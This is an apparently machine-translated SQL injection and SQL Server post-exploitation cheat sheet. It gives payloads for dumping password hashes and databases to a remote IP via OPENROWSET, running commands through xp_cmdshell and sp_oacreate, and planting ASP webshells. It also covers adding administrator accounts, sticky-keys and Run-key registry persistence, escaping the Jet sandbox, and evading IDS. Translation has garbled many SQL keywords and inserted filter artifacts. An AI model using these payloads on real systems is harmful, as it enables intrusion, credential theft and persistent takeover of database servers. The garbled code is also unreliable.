* van _blank>_sysobjects) selecteer * uit user_blank>_database.dbo.sysobjects insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer
* van _blank>_syscolumns) Selecteer * uit user_blank>_database.dbo.syscolumns Repliceer _blank> database: insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer
* uit tabel1) selecteer * uit database.. Tabel1 insert in OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer
* uit tabel2) selecteer * uit database.. Table2
De hash van het wachtwoord dat het hashtabel (HASH) login _blank> wachtwoord kopieert, wordt opgeslagen in sysxlogins. Zo werkt het: insert in OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Netwerk=DBMSSOCN; Adres=192.168.0.1,1433; ,selecteer * uit _blank>_sysxlogins)
selecteer * uit database.dbo.sysxlogins Als je eenmaal de hash hebt, kun je het met brute force forceren.
Om de map te doorlopen: maak eerst een tijdelijke tabel aan: temp ; maak een tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; Insert Temp Executive master.dbo.xp_blank>_availablemedia; – Haal alle huidige schijven op ; Voer in Temp(id) Exec master.dbo.xp_blank>_subdirs C:\; – Een lijst met subdirectories ophalen ; Insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Haal de directoryboomstructuur voor alle subdirectories,
Voeg de inches samen in de temperatuurtabel ; Voer in Temp(ID) Exec master.dbo.xp_blank>_cmdshell typ C:\Web\index.asp; – Bekijk een bestand
Inhoud ; Invoegen in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; Invoer in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert in temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; Insert in temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Toepasselijke Bevoegdheid
PUBLIEK) Schrijf naar de tabel: statement 1: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(sysadmin)); – Stelling 2: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(serveradmin)); – Stelling 3: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(setupadmin)); – Stelling 4: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(securityadmin)); – Verklaring 5: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(securityadmin)); – Stelling 6: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(diskadmin)); – Verklaring 7: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(bulkadmin)); – Statement 8: en 1=(Selecteer IS_blank>_SRVROLEMEMBER(bulkadmin)); – Stelling 9: en 1=(Selecteer IS_blank>_MEMBER(db_blank>_owner)); –
Schrijf het pad naar de tabel: ; Maak tabel-dirs (paden varchar(100), id int)– ; Vul DIRS Exec master.dbo.xp_blank>_dirtree c:\– en 0<>(selecteer top 1 paden van dirs)– en 0<>(selecteer top 1 paden uit dirs waar paden niet in (@Inetpub))– ; Maak tabel dirs1 (paths varchar(100), id int)– ; Voeg DIRS Exec master.dbo.xp_blank>_dirtree in:\web– en 0<>(selecteer top 1 paden uit dirs1)–
Maak een back-up van _blank> database naar een webdirectory: Download ; verklaar @a systeemnaam; verzameling @a=db_blank>_name(); Back-updatabase @a naar schijf=e:\web\down.bak; –
en 1=(Selecteer bovenste 1 naam van(Selecteer top 12 id, naam uit sysobjects waar xtype=char(85)) T
Volgorde op ID beschrijving) en 1=(Selecteer Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) uit sysobjects) Zie ook
Gerelateerde tabellen. en 1=(selecteer user_blank>_id uit USER_blank>_LOGIN) en 0=(gebruiker selecteren uit USER_blank>_LOGIN waar gebruiker>1)
-=- wscrip{filter}t.shell voorbeeld -=- Verklaar @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o exec sp_blank>_oamethod @o out, run
NULL, notepad.exe–
Verklaar @o int, @f int, @t int, @ret int verklaar @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f uit, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out terwijl( @ret = 0 ) begin print @line exec @ret = sp_blank>_oamethod @f, readline, @line out einde
Verklaar @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Verklaar @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o uit exec sp_blank>_oamethod @o, registreren, NULL, foo, bar Uitvoerend sp_blank>_oasetproperty @o, snelheid, 150 exec sp_blank>_oamethod @o, speak, NULL, al je sequel-servers behoren toe aan, ons, 528 wacht op vertraging 00:00:05
; declare @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, spreek, NULL, al je sequel-servers zijn van ons, 528 wacht op vertraging
00:00:05–
xp_blank>_dirtree de toepasselijke PUBLIEKE toestemming exec master.dbo.xp_blank>_dirtree c: De teruggegeven informatie heeft twee velden: subdirectory, diepte. Subdirectoryvelden
Karaktertype, het diepteveld is het vormingsveld. Maak tabel dirs aan (paths varchar(100), id int) Tafelbouw, de hier gemaakte tabel is gerelateerd aan bovenstaande xp_blank>_dirtree, met gelijke velden en hetzelfde type. Insert dirs exec master.dbo.xp_blank>_dirtree c: Zolang we een tabel bouwen en de velden die door het opslagproces worden teruggegeven gelijkmatig definiëren
Voer uit! Om het effect van tabellen te bereiken, stap voor stap om de informatie te verkrijgen die we willen! Deze foutinjectie is voornamelijk gebaseerd op Mysql-datatype-overflow mysql > SELECT 18446744073709551610 * 2 ; FOUT 1690 ( 22003 ): DE BIGINT ONGETEKENDE WAARDE IS BUITEN BEREIK IN '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; FOUT 1690 ( 22003 ): BIGINT Onondertekende waarde is buiten bereik in '(- (1) *
9223372036854775808)' Database versie opvragen: mysql> SELECT * 2 (als ((SELECT * uit (SELECT (versie ()))) s), 18446744073709551610,
18446744073709551610)); FOUT 1690 (22003): BIGINT UNSIGNED waarde is buiten bereik in '(2 * als (( Selecteer ' 5.5 'van
Dual), 18446744073709551610.18446744073709551610))' Krijg de naam van het veld: mysql> SELECT 2 * als((SELECT * uit (selecteer * uit test.shop) als '' limiet 1)>(SELECT * uit
test.shop limiet 1), 18446744073709551610, 18446744073709551610);
FOUT 1690 (22003): BIGINT Ongetekende waarde is buiten bereik in '(2 * als(((selecteer
'artikel', 'dealer', 'prijs' van (selecteer 'test'.'shop'.'article' AS
'artikel', 'test'.'shop'.'dealer' ALS 'dealer', 'test'.'shop'.'price' AS 'price' van
'testen'.'winkel') limiet 1) > (selecteren)
'test'.'winkel'.'artikel','test'.'winkel'.'dealer','test'.'winkel'.'prijs' van 'test'.'winkel' limiet
1)),18446744073709551610,18446744073709551610))' Krijg de veldwaarde:
mysql> SELECT 2 * als((SELECT * uit (selecteer * uit (mysql.user) LIMIET 1) als '' limiet 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
FOUT 1690 (22003): BIGINT Ongetekende waarde is buiten bereik in '(2 * als(((selecteer
'Localhost', 'root','*', 'J', J', J', J
Y', 'Y', Y', '','0', 0', 0', 0', 0', '0', '' vanaf dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Let op dat deze methode niet werkt met oudere versies van Mysql, en je moet de lengtelimiet van het foutbericht kennen, omdat dit bepaalt
Je kunt zo lang krijgen als je wilt: mysys / my_error.c
/* Maximale lengte van een foutmelding. Moet synchroon blijven met MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Als het object MariaDB is (een fork van Mysql), kun je een foutmelding zien als deze wanneer je bovenstaande methode probeert:
mysql> SELECT 2*(if((SELECT * uit (SELECT (versie()))s), 18446744073709551610,
18446744073709551610)) FOUT 1690 (22003): BIGINT UNSIGNED waarde is buiten bereik in '(2 * als((select
#),18446744073709551610,18446744073709551610))'
Als oplossing kan dit probleem op deze manier worden opgelost:
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; FOUT 1690 (22003): BIGINT-waarde is buiten bereik in '(('5.5-MariaDB' is niet nul) - -
(9223372036854775808))' Laten we nu kijken of we onze vector iets korter kunnen maken
//查询数据库版本
SELECT 2*(if((SELECT * uit (SELECT (versie()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I IS NIET NULL) - -9223372036854775808 VAN (SELECTEER (versie())i)a = selecteer als(x,2,2)*1E308 van(selecteer versie()x)y
//获取表字段名称 SELECTEER 2 * als((SELECTEER * uit (selecteer * uit test.shop) als '' limiet 1)>(SELECTEER * uit
test.shop limiet 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * als((SELECT * uit (select * uit (mysql.user) LIMIT 1) als '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| host|| wachtwoord|| file_priv van(select*from mysql.user LIMIT
1) een limiet 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Enkele andere vervormingen
SELECT (I IS NIET NULL) - -9223372036854775808 VAN (SELECTEER (versie())i)a select 1E308*if((select user|| host|| wachtwoord|| file_priv van(select*from mysql.user LIMIT
1) een limiet 1),2,2); => selecteer 2*if((selecteer gebruiker|host|wachtwoord|file_priv van(select*uit mysql.user LIMIET 1)een limiet
1),1e308,0); MySQL> selecteer (selecteer * uit MySQL.User)=1; MySQL> selecteer (selecteer * uit MySQL.User)in(1);
FOUT 1241 (21000): Operand zou 42 kolom(men) moeten bevatten selecteer 2*if((selecteer gebruiker|host|wachtwoord|file_priv van(select*uit mysql.user LIMIET 1)een limiet
1),1e308,0); selecteer als((gebruiker selecteren|| host|| wachtwoord|| file_priv van(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (I IS NIET NULL) - -9223372036854775808 VAN (SELECTEER (versie())i)a selecteer (x!=0x00)--9223372036854775808 van(SELECTEER versie()x)y mysql> select!x-~0.FROM(select+user()x)f; FOUT 1690 (22003): BIGINT UNSIGNED waarde is buiten bereik in '((not('root@localhost')) - ~
(0))' 3. Beoordeel het databasesysteem ; en (selecteer aantal(*) uit sysobjects)>0 mssql ; en (selecteer aantal(*) uit msysobjects)>0 toegang 4. De injectieparameter is een karakter 'en [querycriteria] en ''=' 5. Er zijn geen gefilterde parameters tijdens de zoektocht 'en [querycriteria] en '%25'=' 6. Raad de database ; en (selecteer Count(*) uit [databasenaam])>0 7. Raad het veld ; en (selecteer Count (veldnaam) uit databasenaam)>0 8. Raad de lengte van het record in het veld ; en (selecteer top 1 LEN (veldnaam) uit databasenaam)>0 9. (1) Raad de ASCII-waarde van het veld (toegang) ; en (selecteer top 1 ASC(mid(veldnaam, 1,1)) uit databasenaam)>0 (2) Raad de ASCII-waarde van het veld (mssql) ; en (selecteer top 1 unicode(substring(veldnaam, 1,1)) uit databasenaam)>0 10. Testrechtenstructuur (mssql) ; en 1=(selecteer IS_SRVROLEMEMBER('sysadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('serveradmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('setupadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('securityadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('diskadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('bulkadmin')); -- ; en 1=(selecteer IS_MEMBER('db_owner')); -- 11. Voeg een account toe voor mssql en het systeem ; exec master.dbo.sp_addlogin gebruikersnaam; -- ; exec master.dbo.sp_password null, gebruikersnaam, wachtwoord; -- ; exec master.dbo.sp_addsrvrolemember sysadmin gebruikersnaam; -- ; exec master.dbo.xp_cmdshell 'net user gebruikersnaam wachtwoord /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'netgebruiker gebruikersnaam wachtwoord /add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators gebruikersnaam /add'; -- 12. (1) Doorloop de catalogus ; Maak tabel dirs aan (paths varchar(100), id int) ; Vul dirs executive in master.dbo.xp_dirtree 'c:\' ; en (selecteer top 1 paden van dirs)>0 ; en (selecteer top 1 paden uit dirs waar paden niet in zitten ('paden verkregen uit de vorige stap'))>) (2) De catalogus doorlopen ; maak een tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert Temp Executive master.dbo.xp_availablemedia; -- Alle stroomaandrijvingen ophalen ; Invoegen in temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Krijg een lijst met subdirectories ; Invoegen in temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Haal de directoryboomstructuur op voor alle submappen ; Invoegen in temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Bekijk de inhoud van het bestand 13. Opgeslagen procedures in mssql xp_regenumvalues Registersleutel, kindsleutel ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' en meer
recordsetmethode om alle sleutelwaarden terug te geven xp_regread Root-sleutel, kindsleutel, sleutel-waarde naam ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' geeft de waarde van de formuleringssleutel terug xp_regwrite Root-sleutel, kindsleutel, waardenaam, waardetype, waarde Er zijn twee soorten waardetypen REG_SZ REG_DWORD voor tekentypes en voor gehele getallen ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' worden naar het register geschreven xp_regdeletevalue Root-sleutel, sub-sleutel, waardenaam exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' om een waarde te verwijderen xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' verwijdersleutel,
Neem alle waarden onder die sleutel op 14. MSSQL Backup maakt een webshell aan Gebruik Model maak table cmd (STR-afbeelding); Invoegen in cmd(str)-waarden ('<% Dim oscrip{filter}t %>'); back-up databasemodel naar schijf='c:\l.asp'; 15. ingebouwde MSSQL-functies ; en (selecteer @@version)>0 om het versienummer van Windows te krijgen ; en user_name()='dbo' om te bepalen of de aangesloten gebruiker van het huidige systeem SA is ; en (selecteer user_name())>0 Explodeerden de verbonden gebruikers van het huidige systeem ; en (selecteer db_name())>0 om de momenteel verbonden database te krijgen 16. Beknopte webshell Gebruik Model maak table cmd (STR-afbeelding); Insert in cmd(str) values ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); Back-up databasemodel naar schijf='g:\wwwtest\l.asp'; Gebruik bij het aanvragen iets als dit:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Alle databasenamen inclusief systeemdatabases –SELECTEER naam UIT master.dbo.sysdatabases
– Verkrijg alle niet-systeemdatabasenamen –selecteer [naam] uit master.dbo.sysdatabases waar DBId>6 Order Op [Naam]
– Krijg alle informatie, inclusief het adres van het databasebestand –selecteer * uit master.dbo.sysdatabases waar DBId>6 Order By
[Naam]
Deze instructiequery levert alle gebruikerstabellen terug
selecteer * uit sysobjects waarbij xtype='u'
Raadpleeg alle gegevenstabelinformatie in het systeem
Selecteer * uit sysobjects
Kijk naar de naam van de machine selecteer * uit sys.servers
Kolominhoudsopgave Uitvoerend master.dbo.xp_subdirs 'C:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Toestemmingen kunnen worden afgedwongen
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programmacode, geschreven naar webshell
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Uitvoerend sp_makewebtask 'D:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Meester executeren.. xp_enumgroups
Traverse-systeemgebruikers
Meester executeren.. xp_getnetname Krijg de huidige machinenaam
--Vermeld de vaste schijven op de server, samen met de beschikbare ruimte voor elke schijf DBO Openbaar
Executeren
xp_ntsec_enumdomains
-- Maak een account aan om in te loggen op MSSQL Leidinggevende master.dbo.sp_addlogin naam, pass; --
-- Vermeld de domeinnaam van de server xp_ntsec_enumdomains // Machinenaam //dbo publiek
-- Stop of start een dienst xp_servicecontrol 'stop', 'schedule' //schedule is de naam van de dienst //dbo
--Gebruik pid
Stop een uitvoerend programma xp_terminate_process 123 //123 is de PID //dbo
-- Alleen submappen in een map worden vermeld dbo.xp_subdirs 'C:' //dbo
SQL Server De methode om de xp_cmdshell te openen in 2005 EXEC sp_configure 'toon geavanceerde opties', 1; HERCONFIGUREER; EXEC
sp_configure 'xp_cmdshell', 1; HERCONFIGUREER;
SQL2005 Open 'OPENROWSET' Ondersteunde methoden: Uitvoerend sp_configure 'Toon geavanceerde opties', 1; HERCONFIGUREER; uitvoerend sp_configure 'Ad Hoc
Verspreide Zoekopdrachten,1; HERCONFIGUREER;
SQL2005 om 'sp_oacreate'-ondersteuning in te schakelen: Uitvoerend sp_configure 'Toon geavanceerde opties', 1; HERCONFIGUREER; Uitvoerend
sp_configure 'Ole Automatiseringsprocedures',1; RECONFIGUREER
Hoe schakel je xp_cmdshell in SQL Server 2008 in
-- Om geavanceerde opties te kunnen wijzigen. EXEC
sp_configure 'toon geavanceerde opties', 1 GA -- Om de momenteel geconfigureerde waarde bij te werken voor
Geavanceerde opties. RECONFIGUREER GA -- Om de functie in te schakelen. EXEC sp_configure 'xp_cmdshell', 1 GA --Aan
Werk de momenteel geconfigureerde waarde voor deze functie bij. RECONFIGUREER GA
exec xp_cmdshell 'ipconfig'
Vandaag wilde ik het SA-loginwachtwoord van de databaseserver veranderen, maar ik vergat het plotseling, dus moest ik de query-analyzer openen met hulp van andere accounts om het SA-wachtwoord te wijzigen
Het is heel simpel:
Uitvoering: sp_password Null,'teracypwd,'sa' Stel het SA-wachtwoord in op "teracypwd"
Na succesvolle executie
Er is "Commando(s) succesvol voltooid." OK!
In de database permission, scheid de methode om het MSSQL-databaseserver-IP te verkrijgen
1. Lokale NC luistert naar NC - VVLP 80
2.; Insert in
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Netwerk=DBMSSOCN; Adres=uw ip, 80; ', 'selecteer * uit
dest_table') selecteer * uit src_table; --
selecteer * uit openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','selecteer gebruiker; ')
Database importeren en exporteren
/*不同服务器数据库之间的数据操作*/
--Maak een linkserver aan Uitvoerend sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Remote Server Name of IP-adres' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'gebruikersnaam', 'wachtwoord'
--queryvoorbeeld selecteer * uit ITSV.database name.dbo.table name
--import voorbeeld selecteer *
in de tabel van ITSV.databasename.dbo.tablename
--Verwijder de gekoppelde server als deze in de toekomst niet meer in gebruik is executive sp_dropserver 'ITSV',
'Droplogins'
-- Verbinding maken met remote/LAN-data (openrowset/openquery/opendatasource) --1、openrowset
--queryvoorbeeld selecteer *
van openrowset( 'SQLOLEDB ', 'sql server naam '; 'Gebruikersnaam'; 'wachtwoord', databasenaam.dbo.tabelnaam)
-- Genereer een lokale tabel selecteer * in de tabel van openrowset( 'SQLOLEDB ', 'sql server naam '; 'Gebruikersnaam'; 'Wachtwoord', nummer
Volgens de databasenaam.dbo. tabelnaam)
-- Importeer de lokale tabel in de externe tabel insert openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Gebruikersnaam'; 'Wachtwoorden', databases
name.dbo.table name) selecteer *uit lokale tabel
-- Werk lokale tabellen bij Update B stel b. kolom A = a van openrowset( 'SQLOLEDB ', 'sql server naam '; 'Gebruikersnaam'; '
wachtwoord ', databasenaam .dbo.table name) als een inner join lokale tabel b op a.kolom1=b.kolom1
--openquery Gebruik vereist het aanmaken van een verbinding
--Eerst maak je een verbinding om een linkserver te maken exec sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'externe servernaam of IP-adres' --Informeer selecteer * VAN openquery(ITSV, 'SELECT * FROM data
library.dbo.table naam ') -- Importeer de lokale tabel in de externe tabel insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Selecteer * uit lokaal
Tabel --update lokale tabel Update B verzameling b. kolom B=a VAN openquery(ITSV, 'SELECTEER * UIT database.dbo.tablename')
als een binnenste join lokale tabel b op a. kolom A=b. kolom A
--3、opendatasource/openrowset SELECTEER * VAN
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Gebruikers-ID=Inlognaam; Wachtwoord=Wachtwoord '
).test.dbo.roy_ta -- Importeer de lokale tabel in de externe tabel
Schrappen en herstel van xp_cmdshell
Manieren om xp_cmdshell te herstellen Verwijder de uitgebreide opgeslagen procedure xp_cmdshell
Stelling Leidinggevende sp_dropextendedproc 'xp_cmdshell'
Herstel de SQL-instructie van cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Uitvoerend
master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; selecteer telling(*) uit
master.dbo.sysobjects waarbij xtype='x' en Het retourresultaat is 1 en het is OK
Anders moet je c:\inetput\web uploaden
\xplog70.dll later exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\
’; --
Als je het op de volgende manier verwijdert. Dropprocedure sp_addextendedproc Dropprocedure sp_oacreate Uitvoerend
sp_dropextendedproc 'xp_cmdshell'
Je kunt het herstellen met de volgende verklaring DBCC voegde uitgebreide proc toe ("sp_oacreate","odsole70.dll") DBCC
addendedproc ("xp_cmdshell", "xplog70.dll")
Op deze manier kan het direct worden hersteld, ongeacht of sp_addextendedproc bestaat of niet
1、 Gebruik xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" Uitvoerend
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
Gebruik xp_cmdshell geval sp_oacreate om sp_oamethod te volgen: Verklaar @object int Uitvoerend
sp_oacreate 'wscrip{filter}t.Shell', @object uit Uitvoerend sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object, 'Run', NULL, 'net
localgroup Beheerders admin /add'
Opmerking: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Gebruik sp_oacreate en FSO Verklaar @o int Uitvoerend sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Verklaar @oo int Uitvoerend
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Uitvoerend sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Gebruik xp_regwrite (db_owner, herstart vereist): Uitvoerend master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Uitvoerend master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup beheerders admin /add' 5. Gebruik sp_add_job: Uitvoerend
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Gebruik MSDB Exec sp_delete_job
null,'x' Uitvoerend sp_add_job 'X' Uitvoerend sp_add_jobstep
Null,'x', Null,'1','CMDEXEC','cmd /c net user admin admin /add' Uitvoerend sp_add_jobserver
Null, 'x', @@servername executive sp_start_job 'x'
Veel SA zijn succesvol geraakt in veel machines direct met de sandbox-modus, maar ik heb het nooit geoefend en ik weet niet wat het slagingspercentage is. Wanneer de verlenging wordt verwijderd, eerst
Herstel de opslag voor lezen en schrijven in het register. dbcc voegde uitgebreide proc toe ('xp_regread','xpstar.dll') dbcc addendedproc
('xp_regwrite','xpstar.dll')
De beschermde modus van de sandbox werd vastgesteld Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Kijk of de waarde 'SandBoxMode' is veranderd naar 0.
EXECUTIVE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Roep tenslotte de sandbox-modus aan selecteer * uit openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','selecteer shell("cmd.exe /c net user user passwd /add")')
Als de sandbox-beschermingsmodus niet "uit" is, wordt een foutmelding gemeld: Server: Msg 7357, Niveau 16, Staat 2, Lijn 1
Niet in het verwerken van object 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB biedt programma's aan
Het voorwoord 'microsoft.jet.oledb.4.0' geeft aan dat er geen kolommen in het object zijn.
OLE DB fouttracking [Niet-interface fout: OLE DB-provider kan het object niet verwerken, aangezien het object
heeft nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
gebruiker passwd /add")']。
2、 Als de .mdb niet bestaat of het invoerpad onjuist is Server: Msg 7399, Niveau 16, Staat 1, Lijn 1
OLE DB provider 'microsoft.jet.oledb.4.0' fout. [OLE/DB-provider retourneerde bericht:
Bestand 'C:\WINDOWS\system32\ias dnary1.mdb\' niet gevonden. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned
0x80004005: ]。
3. Als er meer ruimtes zijn tijdens het invoerproces, wordt er ook een fout gemeld. Let hier speciaal op, veel mensen zoeken direct online naar artikelen
Plak het in en voer het uit. Server: Msg 7357, Niveau 16, Staat 2, Lijn 1 Object'select is niet kunnen verwerken.
shell("cmd.exe /c net user user passwd /add")'。 De OLE DB-provider 'microsoft.jet.oledb.4.0' geeft aan dat er geen kolommen in het object zijn.
OLE DB fouttracking [Niet-interface fout: OLE DB-provider kan het object niet verwerken, omdat het object heeft
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user
passwd /add")']。
4、 Als de mdb-rechten en cmd.exe-rechten verkeerd zijn, zal het probleem ook optreden. Wanneer de MDB-rechten onjuist zijn, Server: Elimineren
Rente 7320, Niveau 16, Staat 2, Lijn 1
Hij kon niet antwoorden OLE DB-provider 'Microsoft.Jet.OLEDB.4.0' voert de query uit. [OLE/DB-provider geretourneerd
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Als de nettoestemming onjuist is, is er geen prompt.
De laatste manier om de autoriteit te verhogen is het uploaden van de ias.mdb en cmd.exe van het systeem onder de huidige webdirectory, net.exe drie bestanden.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','selecteer shell
("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")') Met succes een computergebruiker toevoegen.
Het splitsen van cmdshell omzeilt IDS Verklaar @a sysname-set @a='xp_'+'cmdshell' exec @a 'ipconfig' Verklaar
@a sysname-set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Wijziging van het register kaping verschuiven Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe aan'; --
Vraag naar de linkserver selecteren
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers selecteren
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Query linkserver2 selecteer verschillende hostname,db_name(dbid),net_address,loginame,program_name uit
Meester.. SysProcesses
Vraag naar de linkserver en andere ingelogde gebruikers selecteer * uit [192.168.1.1].master.dbo.syslogins
Vraag LinkServer Alle databases selecteer * uit linkedSrvWeb.master.dbo.sysdatabases
Voer uitgebreide opslag uit op LinkServer exec [ip].master.dbo.xp_cmdshell
Zoek alle tabellen op de linkserver op selecteer * uit [ip].master.dbo.sysobjects
selecteer * uit openrowset
